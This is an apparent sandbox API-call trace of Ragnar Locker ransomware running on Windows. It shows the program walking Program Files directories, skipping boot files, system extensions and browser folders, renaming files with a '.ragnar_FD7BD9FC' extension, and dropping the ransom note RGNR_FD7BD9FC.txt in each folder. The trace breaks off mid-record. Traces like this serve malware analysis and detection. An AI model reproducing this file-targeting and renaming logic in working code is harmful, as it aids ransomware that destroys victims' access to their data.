| out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.895] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.895] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.895] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned=".mui" [0056.895] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.895] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.896] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.896] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0056.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.904] CloseHandle (hObject=0xffffffff) returned 0 [0056.904] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" [0056.904] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.904] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.904] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.904] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.904] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0056.904] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".") returned 1 [0056.904] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="..") returned 1 [0056.904] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2=".") returned 1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2="..") returned 1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2="Windows") returned -1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2="Windows.old") returned -1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2="Tor browser") returned -1 [0056.904] lstrcmpiW (lpString1="HWRCustomization", lpString2="Internet Explorer") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="Google") returned 1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="Opera") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="Opera Software") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="Mozilla") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="Mozilla Firefox") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="$Recycle.Bin") returned 1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="ProgramData") returned -1 [0056.905] lstrcmpiW (lpString1="HWRCustomization", lpString2="All Users") returned 1 [0056.905] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.905] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HWRCustomization" | out: lpString1="HWRCustomization") returned="HWRCustomization" [0056.905] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\" [0056.905] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\" [0056.905] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RGNR_FD7BD9FC.txt" [0056.905] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.910] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*" [0056.910] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0056.910] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.910] lstrcpyW (in: lpString1=0x1ea764, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7429b640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.910] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.910] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7429b640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.910] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.910] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.910] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7429b640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.910] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.910] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.910] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7429b640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.910] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7429b640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.910] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7429b640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.910] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7429b640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.911] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0056.911] lstrcpyW (in: lpString1=0x1eab78, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.911] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.911] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.911] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7429b640, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.911] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwruklm.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwruksh.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="..") returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0056.911] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".") returned 1 [0056.911] lstrcmpiW (lpString1="hwrusash.dat", lpString2="..") returned 1 [0056.916] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0056.916] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".") returned 1 [0056.916] lstrcmpiW (lpString1="InkDiv.dll", lpString2="..") returned 1 [0056.916] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0056.917] lstrcmpiW (lpString1="InkObj.dll", lpString2=".") returned 1 [0056.917] lstrcmpiW (lpString1="InkObj.dll", lpString2="..") returned 1 [0056.917] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0056.917] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".") returned 1 [0056.917] lstrcmpiW (lpString1="InkWatson.exe", lpString2="..") returned 1 [0056.917] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0056.917] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".") returned 1 [0056.919] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="..") returned 1 [0056.919] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0056.920] lstrcmpiW (lpString1="ipscat.xml", lpString2=".") returned 1 [0056.920] lstrcmpiW (lpString1="ipscat.xml", lpString2="..") returned 1 [0056.920] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0056.933] lstrcmpiW (lpString1="ipschs.xml", lpString2=".") returned 1 [0056.933] lstrcmpiW (lpString1="ipschs.xml", lpString2="..") returned 1 [0056.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, 